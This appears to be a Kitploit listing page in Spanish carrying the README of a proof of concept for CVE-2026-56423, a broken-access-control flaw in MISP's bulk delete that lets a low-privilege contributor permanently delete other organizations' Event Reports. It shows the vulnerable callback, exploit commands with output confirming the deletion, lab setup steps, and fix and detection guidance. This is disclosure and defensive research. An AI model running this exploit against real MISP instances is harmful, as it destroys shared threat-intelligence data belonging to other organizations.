Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónInteligencia de AmenazasMala Configuración
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

PoC para CVE-2026-56423: MISP deleteSelection control de acceso roto (CWE-862, un colaborador elimina permanentemente informes de eventos/grupos compartidos de otras organizaciones, CVSS 8.8)

Ver Repositorio
1hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-56423 — MISP deleteSelection Control de Acceso Roto

Prueba de concepto de una vulnerabilidad de autorización faltante en los flujos de eliminación masiva de MISP para Event Reports y Sharing Groups. Los controladores deleteSelection autorizan cada elemento seleccionado con un callback que ignora el elemento y devuelve el permiso de rol global del llamante (perm_add / perm_sharing_group) en lugar de una verificación de propiedad por objeto. Por lo tanto, un colaborador con pocos privilegios (el rol predeterminado "User") puede enviar IDs/UUIDs de informes pertenecientes a cualquier organización y eliminarlos permanentemente en toda la instancia, aunque la acción de eliminación delete por objeto correctamente protegida deniega la misma solicitud.

CVECVE-2026-56423
ProductoMISP (Plataforma de Intercambio de Información de Malware) núcleo
AfectadoMISP CE/EE ≤ 2.5.41
Corregido2.5.42
ClaseCWE-862 — Autorización Faltante (control de acceso a nivel de objeto roto)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
AutenticaciónAutenticado, bajo privilegio (cualquier rol con perm_add, p.ej. "User")
Publicado2026-06-22
EstadoCONFIRMADO — colaborador elimina informe de otra organización en 2.5.40; denegado en 2.5.42

Causa raíz

app/Controller/EventReportsController.php (tag v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId → global role bool
        },
    ]);
}

CRUDComponent::deleteSelection llama a este checkModifyCallback para cada id seleccionado y elimina el objeto cada vez que devuelve true:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Debido a que el callback devuelve $this->userRole['perm_add'] — un booleano global que es true para el rol predeterminado "User" — nunca se verifica la propiedad del informe objetivo. Compárese con la acción delete($id) de un solo objeto, que correctamente llama a EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') y deniega informes foráneos.

SharingGroupsController::deleteSelection tiene el mismo defecto usando perm_sharing_group.

La corrección en 2.5.42 (commits ada02fa, f99b3f1) reemplaza el callback con una verificación por elemento EventReport::fetchIfAuthorized($user, $itemId, 'delete').

Consulte ANALYSIS.md para el recorrido completo.

Precondiciones (documentadas honestamente)

  1. El atacante posee cualquier cuenta cuyo rol tenga perm_add — el rol User incorporado, otorgado a colaboradores ordinarios en instancias multi-organización.
  2. MISP.enable_themes = true. La acción deleteSelection está protegida en la ACL por AND(theming_enabled, perm_add), donde theming_enabled se asigna al ajuste MISP.enable_themes. Este ajuste está desactivado por defecto pero es una bandera de característica de interfaz de usuario normal habilitada en muchas instancias (alimenta la interfaz de usuario de lista/índice v2). Con ella desactivada, la acción devuelve HTTP 403 antes de que se ejecute el callback defectuoso.

Exploit

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

Reproducir

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

Límite VULN/CORREGIDO (empírico)

Solicitud (colaborador con pocos privilegios, informe extranjero)v2.5.40v2.5.42
delete/{id} correctamente protegido404 denegado404 denegado
deleteSelection del mismo informe200 — eliminado permanentemente403 — "No se pudo eliminar"; informe intacto

La misma solicitud cambia de éxito a denegación a través de la corrección, y la eliminación delete por objeto correctamente protegida se deniega en ambas — probando que el error es la falta de autorización por objeto en deleteSelection, no una cuenta mal configurada. Transcripción completa en EVIDENCE.txt.

Impacto

Cualquier usuario con pocos privilegios en una instancia compartida de MISP puede eliminar permanentemente de forma irreversible Event Reports — narrativa analítica adjunta a eventos de inteligencia de amenazas — y Sharing Groups pertenecientes a otras organizaciones, en toda la instancia. Esto es un compromiso de integridad/disponibilidad entre inquilinos de una plataforma de inteligencia de amenazas en la que confían CERTs, ISACs y SOCs.

Remediación

  • Actualice MISP a 2.5.42 o posterior.
  • La corrección aplica EventReport::fetchIfAuthorized($user, $itemId, 'delete') por elemento seleccionado; el mismo patrón se aplica a Sharing Groups.

Detección

Audite los registros de MISP en busca de solicitudes EventReports/deleteSelection (y SharingGroups/deleteSelection) donde la organización del usuario actuante difiera de la organización propietaria del objeto eliminado.

Créditos

Investigación y PoC por Caio Fabrício (@BiiTts).

Licencia

MIT — consulte LICENSE.

Descargar herramienta